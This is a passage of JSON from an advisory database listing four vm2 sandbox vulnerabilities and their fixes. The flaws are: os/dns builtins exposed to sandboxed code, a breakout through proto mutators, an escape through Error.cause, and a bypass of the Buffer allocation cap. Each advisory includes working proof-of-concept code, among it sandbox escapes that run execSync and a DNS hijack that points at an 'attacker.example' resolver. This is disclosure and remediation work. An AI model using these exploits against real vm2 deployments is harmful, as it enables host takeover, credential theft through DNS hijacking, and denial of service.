3.11.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODM2LTZ4dzQtOWN4M84ABkVe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNXc4LTRncTItNmY4eM4ABkVd","url":"https://github.com/advisories/GHSA-m5w8-4gq2-6f8x","title":"vm2: NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)","description":"# NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)\n\n**CWE**: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) — same class the maintainer codified as Defense Invariant #13 in `lib/builtin.js` and as Category 35 / GHSA-9g8x in `docs/ATTACKS.md`.\n\n**CVSS v3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L` → 9.3 (Critical)\n\n(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because `os.userInfo()` returns host UID/GID/username/homedir + `os.networkInterfaces()` returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because `dns.setServers()` is a process-wide write that hijacks every subsequent DNS lookup the host makes — including outbound HTTP, telemetry, npm/registry, and any host code that uses `fetch` or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model `NodeVM` exists to mitigate.)\n\n## Summary\n\nGHSA-9g8x-92q2-p28f closed the \"process-wide observability builtins\" class by adding `diagnostics_channel`, `async_hooks`, `perf_hooks`, and `v8` to `DANGEROUS_BUILTINS` in `lib/builtin.js`. The fix's rationale (in the commit message and `docs/ATTACKS.md` Category 35) is general:\n\n\u003e Process-wide observability builtins. Unlike most Node builtins, these expose state of the *entire host process* rather than sandbox-local state — the vm2 boundary cannot usefully contain them because the data they surface […] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.\n\nTwo builtins satisfying the same description were not added: **`os`** and **`dns`**. Both are reachable today under the documented `builtin: ['*']` configuration; both expose host-process state that the `vm.readonly()` proxy cannot localise; and both have *write* APIs that mutate global host-process state from the sandbox (`os.setPriority()`, `dns.setServers()`, `dns.setDefaultResultOrder()`). `dns.setServers()` in particular turns sandbox code into a process-wide DNS hijack primitive — strictly worse than every read-only leak that GHSA-9g8x added.\n\nAdding `os` and `dns` to `DANGEROUS_BUILTINS` extends the same fix to the rest of the class. The existing `isDangerousBuiltin(key)` family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches `node:os`, `node:dns`, and `node:dns/promises` once the family names are present.\n\n## Affected\n\n- vm2 `v3.11.5` (current `package.json` version on `main`) and the unreleased `[3.11.4]` slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al.\n- All NodeVM configurations that expand the builtin allowlist via `'*'` (the documented \"full builtins\" pattern) and have not manually appended `-os`, `-dns` exclusions — which is the recommended config in README and the test fixtures.\n- Reproduced on Node v22.12.0 with HEAD `7a1f510` of the audit checkout.\n\n## Vulnerability details\n\n### [A] — Source: the `'*'` wildcard expansion includes `os` and `dns`\n\n`lib/builtin.js:166-167`:\n\n```js\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\n    .filter(s =\u003e !s.startsWith('internal/') \u0026\u0026 !s.startsWith('_') \u0026\u0026 !isDangerousBuiltin(s));\n```\n\n`isDangerousBuiltin` resolves the current `DANGEROUS_BUILTINS` set (`lib/builtin.js:83-139`):\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n    'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',\n    'trace_events', 'wasi',\n    // GHSA-9g8x-92q2-p28f:\n    'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8'\n]);\n```\n\n`os` and `dns` are absent. Under `builtin: ['*']` they are admitted into the user-visible builtin map and loaded via the default `vm.readonly(hostRequire(key))` path (`lib/builtin.js:230`):\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nThe readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing — same observation the GHSA-9g8x commit message makes for `v8`/`perf_hooks`.\n\n### [B] — `os`: host-process READS the bridge cannot localise\n\n`os.userInfo()` returns the host process owner (uid, gid, username, homedir, shell). `os.networkInterfaces()` returns the host's full network topology including container/VM interfaces with their IPs and MAC addresses. `os.hostname()` returns the host deployment identity. `os.loadavg()` / `os.uptime()` / `os.freemem()` / `os.totalmem()` expose host-wide telemetry.\n\nThe data source is the host kernel and the host process — the sandbox's `vm.readonly()` proxy cannot make these calls \"sandbox-local\" any more than it can for `perf_hooks.performance.getEntriesByType('mark')`. Same class as the four builtins GHSA-9g8x added.\n\n### [C] — `os`: host-process WRITE via `os.setPriority()`\n\n`os.setPriority([pid, ]priority)` invokes `setpriority(2)` on the host process. With `pid = 0` (the default) the sandbox lowers — or, if the host has CAP_SYS_NICE, raises — the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.\n\nStrictly worse than the read-only `v8` / `perf_hooks` family because it's a *mutation* of host state, not just an observation.\n\n### [D] — `dns`: host-process READS\n\n`dns.lookup(hostname, cb)` and `dns.resolve(hostname, cb)` perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host's source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.\n\n`dns.getServers()` reveals the host's configured DNS servers — useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.\n\n### [E] — `dns`: host-process WRITE via `dns.setServers()` — the strongest primitive\n\n`dns.setServers(['attacker.example:53'])` replaces the host's process-wide DNS resolver list. Every subsequent DNS lookup the host process performs — its own outbound HTTP, telemetry, npm registry, fetch() calls, `fs` URL paths, any host code that resolves a hostname — goes through the attacker's resolver. The attacker can:\n\n- Return `127.0.0.1` for any external hostname and steal whatever the host POSTs to it (credentials, tokens).\n- Return an attacker-controlled IP for `registry.npmjs.org` to swap dependencies on the next install.\n- Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.\n- Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.\n\nThe attacker primitive is *one synchronous line of sandbox code*. There is no rate limit, no audit trail, no notification to the embedder. Symmetric `dns.setDefaultResultOrder(order)` is a second process-wide write knob that lets the sandbox flip `'ipv4first'` ↔ `'verbatim'`, mainly useful as a chaining helper.\n\n`dns/promises` also exists as a subpath and shares the same module surface; adding `dns` to `DANGEROUS_BUILTINS` automatically catches `dns/promises` via the existing `isDangerousBuiltin` family-prefix matcher.\n\n## Proof of concept\n\n`test-poc.js` (run from the vm2 checkout root):\n\n```js\nconst {NodeVM} = require('./');\n\n// --- [B] / [C] — os reads + write ---\n{\n  const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });\n  const r = vm.run(`\n    const os = require('os');\n    const before = os.getPriority();\n    os.setPriority(10);                 // mutates host process nice value\n    module.exports = {\n      userInfo: os.userInfo(),          // uid/gid/username/homedir/shell of host\n      hostname: os.hostname(),\n      networkInterfaces: Object.keys(os.networkInterfaces()),\n      uptime: os.uptime(),\n      priorityBefore: before,\n      priorityAfter: os.getPriority()\n    };\n  `, 'os.js');\n  console.log(JSON.stringify(r, null, 2));\n  // Independently verify the host process now reports the bumped priority:\n  console.log('host getPriority() =', require('os').getPriority());\n}\n\n// --- [E] — dns.setServers hijack ---\n{\n  const dnsHost = require('dns');\n  console.log('host DNS before:', dnsHost.getServers());\n\n  const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });\n  vm.run(`\n    require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);\n  `, 'dns.js');\n\n  console.log('host DNS after:', dnsHost.getServers());\n  // Every subsequent dns.lookup() in the host process now hits the attacker.\n}\n```\n\nObserved output on Node v22.12.0 against HEAD `7a1f510`:\n\n```\n{\n  \"userInfo\": { \"uid\": 0, \"gid\": 0, \"username\": \"root\",\n                \"homedir\": \"/root\", \"shell\": \"/bin/bash\" },\n  \"hostname\": \"Debian-trixie-latest-amd64-base\",\n  \"networkInterfaces\": [ \"lo\", \"enp3s0\", \"br-06cf1b47c8e0\", \"podman2\",\n                         \"vethd3955b5\", ..., \"veth3\" ],\n  \"uptime\": 6093038.92,\n  \"priorityBefore\": 0,\n  \"priorityAfter\": 10\n}\nhost getPriority() = 10              ← host realm sees the sandbox write\n\nhost DNS before: [ '185.12.64.2', '2a01:4ff:ff00::add:1',\n                   '185.12.64.1', '2a01:4ff:ff00::add:2' ]\nhost DNS after:  [ '127.0.0.1:5353', '8.8.4.4' ]   ← hijacked\n```\n\nBoth the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the `vm.run()` call returns — confirming the writes persisted past the bridge boundary.\n\n## Impact\n\n### Direct\n\n- **Host identity disclosure (`os`)** — sandbox reads the host process owner's username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern — webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes.\n- **Network topology disclosure (`os.networkInterfaces`)** — sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment's internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants.\n- **Process-wide DNS hijack (`dns.setServers`)** — sandbox replaces the host's DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker's resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch.\n- **Process priority mutation (`os.setPriority`)** — sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.\n\n### Indirect / second-order\n\n- **Composes with `dgram` / `http` / `fetch` whitelisting** — embedders who grant the sandbox network access via the `external` flag or a documented `-os, -dns` cutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the *host*, so even host-realm outbound HTTP gets redirected.\n- **Composes with future host-realm-string introductions** — if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox's hijacked DNS resolver decides where the host eventually connects.\n- **Defeats GHSA-9g8x's own threat model** — the GHSA-9g8x commit message states the goal is to close the \"process-wide observability\" class. Leaving `os` and `dns` open leaves the class half-closed; the read-side leak path that the commit enumerates for `diagnostics_channel` (\"attacker reads host HTTP requests through a subscriber\") composes with `dns.setServers` to *also* redirect those requests.\n- **Same fix is forward-compatible with future Node releases** — adding `os` and `dns` to `DANGEROUS_BUILTINS` does not require enumerating every future Node API; the family-prefix matcher (`isDangerousBuiltin`) already covers any new `os/...` or `dns/...` subpath Node introduces.\n\n## Suggested fix\n\nSingle-line extension of `DANGEROUS_BUILTINS` in `lib/builtin.js:83-139`, alongside the four GHSA-9g8x additions, with the same `// SECURITY (GHSA-...)` block comment style and rationale:\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n    'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',\n    'trace_events', 'wasi',\n    'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8',\n    // SECURITY (this advisory): Process-wide observability + WRITE builtins.\n    // `os.userInfo()` / `os.networkInterfaces()` leak host process identity and\n    // network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,\n    // `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives\n    // that mutate host-process state from the sandbox — `dns.setServers()` is a\n    // process-wide DNS resolver hijack reachable in one line of sandbox code.\n    // Embedders who genuinely need a sandbox-local replacement can register a\n    // controlled wrapper under the same name via `mock` / `override`.\n    'os',\n    'dns'\n]);\n```\n\nThe existing `isDangerousBuiltin(key)` family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to `node:os`, `node:dns`, and `node:dns/promises` without further changes. Embedders who genuinely need a sandbox-local `os`/`dns` (typically `os.platform()`, `os.EOL`, `os.constants`) can register a hand-written safe wrapper under those names via `mock` / `override`, mirroring the escape hatch documented for the GHSA-9g8x denials.\n\nTests should mirror the `test/ghsa/GHSA-9g8x-92q2-p28f/repro.js` shape: bare-name + `node:`-prefixed denial on `require()`, `'*'` wildcard expansion exclusion, explicit-allowlist (`builtin: ['os']`, `builtin: ['dns']`) rejection, `makeBuiltins(['os'])` rejection, `mock` / `override` escape-hatch acceptance.\n\n`docs/ATTACKS.md` Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass — either matches the existing documentation pattern.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-17T17:32:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m5w8-4gq2-6f8x","https://github.com/patriksimek/vm2/releases/tag/3.11.6","https://github.com/advisories/GHSA-m5w8-4gq2-6f8x"],"source_kind":"github","identifiers":["GHSA-m5w8-4gq2-6f8x"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-10-12T08:01:47.927Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXc4LTRncTItNmY4eM4ABkVd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNXc4LTRncTItNmY4eM4ABkVd","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.6","vulnerable_version_range":"\u003c= 3.11.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNXc4LTRncTItNmY4eM4ABkVd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZmN3LXhwNngtMjVnas4ABkVc","url":"https://github.com/advisories/GHSA-cfcw-xp6x-25gj","title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-17T17:32:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj","https://github.com/patriksimek/vm2/releases/tag/3.11.6","https://github.com/advisories/GHSA-cfcw-xp6x-25gj"],"source_kind":"github","identifiers":["GHSA-cfcw-xp6x-25gj","CVE-2026-47698"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-10-12T08:01:47.927Z","epss_percentage":0.00971,"epss_percentile":0.60539,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmN3LXhwNngtMjVnas4ABkVc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmN3LXhwNngtMjVnas4ABkVc","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.6","vulnerable_version_range":"\u003c= 3.11.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmN3LXhwNngtMjVnas4ABkVc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tMjgzLTNoMjQtNDM4ds4ABkVb","url":"https://github.com/advisories/GHSA-m283-3h24-438v","title":"VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE","description":"**Affected:** vm2 \u003c= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' \u0026\u0026 typeof e !== 'function')) return e;\n    // ... cycle detection ...\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);      // sanitized\n            e.suppressed = handleException(e.suppressed, visited); // sanitized\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            // sanitizes e.errors[] ...\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n    sandbox: {\n        hostFn: () =\u003e {\n            throw new Error('fail', { cause: process });\n        }\n    }\n});\n\nconst result = vm.run(`\n    try {\n        hostFn();\n    } catch (e) {\n        // .cause is not sanitized, so we get a direct reference to host process\n        const proc = e.cause;\n        proc.mainModule.require('child_process').execSync('id').toString();\n    }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== 'object' \u0026\u0026 typeof e !== 'function')) return e;\n    if (!visited) visited = new LocalWeakMap();\n    if (apply(localWeakMapGet, visited, [e])) return e;\n    apply(localWeakMapSet, visited, [e, true]);\n\n    // Sanitize .cause on ALL errors (ES2022)\n    try {\n        if ('cause' in e) {\n            e.cause = handleException(e.cause, visited);\n        }\n    } catch (ex) { /* best effort */ }\n\n    let proto = localReflectGetPrototypeOf(e);\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);\n            e.suppressed = handleException(e.suppressed, visited);\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            if (localArrayIsArray(e.errors)) {\n                for (let i = 0; i \u003c e.errors.length; i++) {\n                    e.errors[i] = handleException(e.errors[i], visited);\n                }\n            }\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-17T17:32:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v","https://github.com/patriksimek/vm2/releases/tag/3.11.6","https://github.com/advisories/GHSA-m283-3h24-438v"],"source_kind":"github","identifiers":["GHSA-m283-3h24-438v","CVE-2026-47686"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-10-16T06:01:29.670Z","epss_percentage":0.00581,"epss_percentile":0.46555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMjgzLTNoMjQtNDM4ds4ABkVb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tMjgzLTNoMjQtNDM4ds4ABkVb","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.6","vulnerable_version_range":"\u003c= 3.11.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMjgzLTNoMjQtNDM4ds4ABkVb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nbWMyLTJ4OXctY2doOc4ABkVa","url":"https://github.com/advisories/GHSA-gmc2-2x9w-cgh9","title":"vm2's bufferAllocLimit cap bypassed by Buffer.concat and Buffer.from arrayLike","description":"## Summary\n\nvm2 bufferAllocLimit cap bypassed by Buffer.concat and Buffer.from arrayLike\n\nThe `bufferAllocLimit` option introduced in 3.11.0 (GHSA-6785-pvv7-mvg7) caps host-side Buffer allocations driven by sandbox code, the way embedders opt into `timeout`. The cap wraps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. Two other API paths reach the same host C++ allocator with an attacker-controlled size and are not capped: `Buffer.concat(list, totalLength)` and `Buffer.from(arrayLike)` with a fake `length`. Sandbox code can use either to allocate an arbitrary number of host external bytes in a single call, defeating the explicit DoS mitigation the embedder configured.\n\n## Details\n\n`lib/setup-sandbox.js` installs `checkBufferAllocLimit` at every wrapped entry to host Buffer allocation:\n\n- `alloc()` at `lib/setup-sandbox.js:474` and the `connect(alloc, host.Buffer.alloc)` at line 480.\n- `allocUnsafe()` at line 488 and `connect(allocUnsafe, host.Buffer.allocUnsafe)` at line 496.\n- `allocUnsafeSlow()` at line 504 and `connect(allocUnsafeSlow, host.Buffer.allocUnsafeSlow)` at line 510.\n- `BufferHandler.apply` at line 424 and `BufferHandler.construct` at line 433 for the deprecated `Buffer(N)` / `new Buffer(N)` numeric-first-arg paths.\n\n`Buffer.concat` is not wrapped. The sandbox-visible `Buffer.concat` is therefore the bridge proxy of the host `Buffer.concat`, which calls into Node's `Buffer.allocUnsafe(totalLength)` internally without going through the sandbox-side `allocUnsafe` wrapper. Same for `Buffer.from` when the argument is array-like (`{length: N}`): Node's `fromArrayLike` allocates a buffer of size `N` before the iteration that fills it. Neither of those allocator paths consult `localBufferAllocLimit`.\n\nThe mitigation rationale documented in `docs/ATTACKS.md` Category 23 explicitly enumerates the surfaces that were considered and either capped (Buffer.alloc family) or punted to follow-up (`new Uint8Array(N)`, `new ArrayBuffer(N)`, `String.prototype.repeat`). `Buffer.concat(list, totalLength)` is not listed in either group, and `Buffer.from(arrayLike)` is mentioned only as \"bounded by source array size which had to be allocated through some other path first\" -- which is not true for the `{length: N}` form, because no array of length `N` actually exists.\n\nA single call from sandbox to `Buffer.concat([Buffer.from('a')], 50 * 1024 * 1024)` allocates 50 MiB of host external memory. The allocation itself is a single synchronous host C++ call that `timeout` cannot interrupt, exactly like the original advisory. The zero-fill that follows is interruptible, but the memory is already committed by the time the interrupt could fire, so the embedder's container memory budget is the only ceiling. The same pattern in a loop, or with a larger `totalLength`, drives RSS up by hundreds of megabytes per call.\n\nThe fix uses the existing `checkBufferAllocLimit(size)` helper and a sandbox-side wrapper installed via `connect(...)` -- one for `Buffer.concat` that sums the `totalLength` (or falls back to summing list lengths) and one for `Buffer.from` that recognises the array-like-with-numeric-`length` branch.\n\n## PoC\n\n```javascript\n'use strict';\nconst { VM, NodeVM } = require('vm2');\n\nfunction ext() { return Math.round(process.memoryUsage().external / 1024 / 1024); }\nfunction tryBypass(label, code) {\n    const ext0 = ext();\n    let buf;\n    try { buf = code(); }\n    catch (e) {\n        console.log(`[${label}] CAPPED -- ${String(e).split('\\n')[0]}`);\n        return;\n    }\n    console.log(`[${label}] BYPASSED -- got ${buf \u0026\u0026 buf.length} bytes (external +${ext() - ext0} MB)`);\n}\n\nconsole.log('Cap is configured at 1024 bytes.\\n');\n\nconst vm1 = new VM({ bufferAllocLimit: 1024 });\ntryBypass('VM Buffer.alloc(50MB)        ',\n    () =\u003e vm1.run('Buffer.alloc(50 * 1024 * 1024)'));\n\nconst vm2 = new VM({ bufferAllocLimit: 1024 });\ntryBypass('VM Buffer.concat 50MB        ',\n    () =\u003e vm2.run('Buffer.concat([Buffer.from(\"a\")], 50 * 1024 * 1024)'));\n\nconst vm3 = new NodeVM({ bufferAllocLimit: 1024 });\ntryBypass('NodeVM Buffer.concat 50MB    ',\n    () =\u003e vm3.run('module.exports = Buffer.concat([Buffer.from(\"a\")], 50 * 1024 * 1024);'));\n\nconst vm4 = new VM({ bufferAllocLimit: 1024 });\ntryBypass('VM Buffer.from({length: 8MB})',\n    () =\u003e vm4.run('Buffer.from({length: 8 * 1024 * 1024})'));\n```\n\nRun with `node poc.js` against `vm2@3.11.3`:\n\n```\nCap is configured at 1024 bytes.\n\n[VM Buffer.alloc(50MB)        ] CAPPED -- RangeError: Buffer allocation size 52428800 exceeds bufferAllocLimit 1024\n[VM Buffer.concat 50MB        ] BYPASSED -- got 52428800 bytes (external +50 MB)\n[NodeVM Buffer.concat 50MB    ] BYPASSED -- got 52428800 bytes (external +50 MB)\n[VM Buffer.from({length: 8MB})] BYPASSED -- got 8388608 bytes (external +8 MB)\n```\n\nProcess RSS climbs by the same amount each call, confirming a real host C++ allocation rather than a sandbox-realm-only effect.\n\n## Impact\n\nThis is the same DoS class GHSA-6785-pvv7-mvg7 was filed for: untrusted sandbox code amplifying a small payload into a large synchronous host external-memory allocation that V8's `timeout` cannot preempt. In the environments the advisory cites -- Docker memory limits, Kubernetes pods, AWS Lambda -- a single 200-byte sandbox payload can drive a multi-hundred-megabyte RSS jump and OOM the host process.\n\nThe Category 23 fix was specifically scoped to \"cap host Buffer external allocation\" and embedders are documented to opt into `bufferAllocLimit` as their layered defense against this class. The two paths above are uncapped, so an embedder that has configured `bufferAllocLimit: 32 * 1024 * 1024` (the value recommended in the README's Hardening recommendations) is still vulnerable to the exact attack the option was designed to prevent. The mitigation invariant -- \"every Buffer external allocation driven by sandbox code is capped by `bufferAllocLimit`\" -- does not hold.\n\nNo sandbox escape; pure DoS.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-17T17:32:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-gmc2-2x9w-cgh9","https://github.com/patriksimek/vm2/releases/tag/3.11.6","https://github.com/advisories/GHSA-gmc2-2x9w-cgh9"],"source_kind":"github","identifiers":["GHSA-gmc2-2x9w-cgh9","CVE-2026-47683"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-10-12T08:01:47.928Z","epss_percentage":0.00538,"epss_percentile":0.435,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbWMyLTJ4OXctY2doOc4ABkVa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nbWMyLTJ4OXctY2doOc4ABkVa","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.6","vulnerable_version_range":"\u003c= 